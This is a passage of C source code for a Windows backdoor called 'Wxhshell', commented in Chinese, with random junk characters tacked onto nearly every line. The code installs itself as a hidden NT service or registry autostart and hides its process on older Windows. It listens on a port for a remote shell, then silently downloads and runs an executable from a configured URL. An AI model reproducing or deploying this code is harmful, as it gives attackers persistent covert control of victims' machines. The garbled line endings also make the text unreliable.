ULONG InheritedFromUniqueProcessId; S&`O\!NF
} PROCESS_BASIC_INFORMATION; -&~IOqlui
I]UA0[8X
PROCNTQSIP NtQueryInformationProcess; %1@.7uTN
0<"tl0p_
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :=B[yD!
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nR#a)et
ma`w\8a
HANDLE hProcess; ;C6O3@Q
PROCESS_BASIC_INFORMATION pbi; IM2/(N.%
t"#lnG!G
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i!ds {`d
if(NULL == hInst ) return 0; z'v9j_\
.k|-Ks|d|
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^K*~
<O-
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j!"iYtgV
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \j/}rzo]
>R) F}
if (!NtQueryInformationProcess) return 0; f@#w{W,3
l+'`BBh*]
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rGAFp,}-f
if(!hProcess) return 0; ]s}aC9I
>pJ6{Ip
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \Z8Y(]6*
xQ_:]\EZ
CloseHandle(hProcess); %j!z\pa
cKSfqqPm$"
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T[mw}%3<v
if(hProcess==NULL) return 0; 9O2a |
d
7n$AkzO0
HMODULE hMod; sd]0Hx[
char procName[255]; {m>~`
unsigned long cbNeeded; sL;z"N@PK
SIJ# ?0,
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ig='a"%
hu`Lv
CloseHandle(hProcess); CD$u=E
]
_g^E%@'W
if(strstr(procName,"services")) return 1; // 以服务启动 Rs^jk)Z:)
"o~N42DLB%
return 0; // 注册表启动 D'Jm!Ap
} `8qT['`#R
20S9/9ll
// 主模块 ;N9n'Sq4
int StartWxhshell(LPSTR lpCmdLine) _-YL!oP
{ @5JLjCN
SOCKET wsl; c4S>_qH
BOOL val=TRUE; I>(;bNgNE
int port=0; P<TpG0~(
struct sockaddr_in door; V%VrAi.
8-W"4)@b
if(wscfg.ws_autoins) Install(); Uv#>d}P
c
g3Cl[s
port=atoi(lpCmdLine); vEX|Q\b6'
wGZ>iLe:
if(port<=0) port=wscfg.ws_port; m.;{ 8AM%f
e@6RC bj
WSADATA data; {-:4O\/
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w i![0IE )
#3AYz82w
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; w+URCj
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )UxQf37
door.sin_family = AF_INET; ski1f
door.sin_addr.s_addr = inet_addr("127.0.0.1"); MxFt;GgE8
door.sin_port = htons(port); `ja`#%^\u
#r78Ym'aI
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }D&"z8mP
closesocket(wsl); p=#'B*'w
return 1; j=!(F`/
} Po2_ 0uX
v3=&{}+j.
if(listen(wsl,2) == INVALID_SOCKET) { ^\Ue7,H-
closesocket(wsl); ;H D 4~3
return 1; oP 6.t-<dU
} {PP ^Rb)
Wxhshell(wsl); FkB6*dm-
WSACleanup(); G
"c&C
VPq5xSc?
return 0; F}VS)
dM>j<JC=
} Cw9@2E'b
"^e}C@
// 以NT服务方式启动 /\oyPD`((
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,E
n(gm
{ EU&6Tg
DWORD status = 0; ]x5(bnWx
DWORD specificError = 0xfffffff; GgZEg
?@
>b/k|?xP
serviceStatus.dwServiceType = SERVICE_WIN32; cQUH %7m
serviceStatus.dwCurrentState = SERVICE_START_PENDING; QiQ2XW\E
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oX=*MEfX
serviceStatus.dwWin32ExitCode = 0; v#T?YK
serviceStatus.dwServiceSpecificExitCode = 0; c1Fru
serviceStatus.dwCheckPoint = 0; )l 4>=y
serviceStatus.dwWaitHint = 0; w[J
(E
p4<M|1Z&
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n9mM5H47
if (hServiceStatusHandle==0) return; hSLwiX~
P?yOLG+)l)
status = GetLastError(); tDuUAI54
if (status!=NO_ERROR) g z)wUQ|W
{ [E..VesrM
serviceStatus.dwCurrentState = SERVICE_STOPPED; 945
|MQPn
serviceStatus.dwCheckPoint = 0; R?={{+O
serviceStatus.dwWaitHint = 0; 5KA
FUR0
serviceStatus.dwWin32ExitCode = status; hr$VVbOho
serviceStatus.dwServiceSpecificExitCode = specificError; :"y7Weh
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
?fqkM
return; *1 J#Mdd
} inq4CGY
4P-'(4I)
serviceStatus.dwCurrentState = SERVICE_RUNNING; m,"cbJ
/
serviceStatus.dwCheckPoint = 0; Pv/%s) &y&
serviceStatus.dwWaitHint = 0; )0 42?emn
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,]>`guDV
} Sx4UaV~"
k7Be'E
BKG
// 处理NT服务事件,比如:启动、停止 It!.*wp
VOID WINAPI NTServiceHandler(DWORD fdwControl) =km-`}I,
{ 1z$}*`
switch(fdwControl) u\Erta`
{ 2+r )VF:
case SERVICE_CONTROL_STOP: EnsNO_"e|
serviceStatus.dwWin32ExitCode = 0; @poMK:
serviceStatus.dwCurrentState = SERVICE_STOPPED; X&;]
serviceStatus.dwCheckPoint = 0; $
uIwRG
<
serviceStatus.dwWaitHint = 0; pyb}ha
{ I,`D&
SetServiceStatus(hServiceStatusHandle, &serviceStatus); h9)]N&07b
} 1_dMe%53
return; x:&L?eOT
case SERVICE_CONTROL_PAUSE: tp,mw24
serviceStatus.dwCurrentState = SERVICE_PAUSED; "*H'bzK
break; a_}BTkfHa
case SERVICE_CONTROL_CONTINUE: T/spUlWu
serviceStatus.dwCurrentState = SERVICE_RUNNING; D/%b@Ls2ze
break; IZ(CRKCGBl
case SERVICE_CONTROL_INTERROGATE: 07G*M ]
break; |WwFE|<
}; dBD4ogo1
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \qK}(xq[
} +%cr?g
8d*<Aki?;
// 标准应用程序主函数 TckR_0LNV
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) si"mM>e
{ 4'4s EjyA
QWQ6j#`
// 获取操作系统版本 X0r#,u
OsIsNt=GetOsVer(); Stp*JU
GetModuleFileName(NULL,ExeFile,MAX_PATH); +ouy]b0`t
~"4 vd 3
// 从命令行安装 z6>ZV6(d2^
if(strpbrk(lpCmdLine,"iI")) Install(); #t9=qR~"
jP7+s.j>
// 下载执行文件 6O|\4c;
if(wscfg.ws_downexe) { ur"e
F
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (k2J{6]
WinExec(wscfg.ws_filenam,SW_HIDE); 7<C~D,x6
} W U4vb
kl{OO%jZ
if(!OsIsNt) { odT7Gq
// 如果时win9x,隐藏进程并且设置为注册表启动 />j+7ts
HideProc(); BNKo6:wy
StartWxhshell(lpCmdLine); fKK-c9F
} Xe^=(| M
else A%2M]];%X
if(StartFromService()) !6fpMo
// 以服务方式启动 L|xen*O
StartServiceCtrlDispatcher(DispatchTable); &.bR1wX
else *U^\Mwp
// 普通方式启动 "GC]E8&>H
StartWxhshell(lpCmdLine); PAWr1]DI
Z=5}17kA
return 0; YPJx/@Z`
}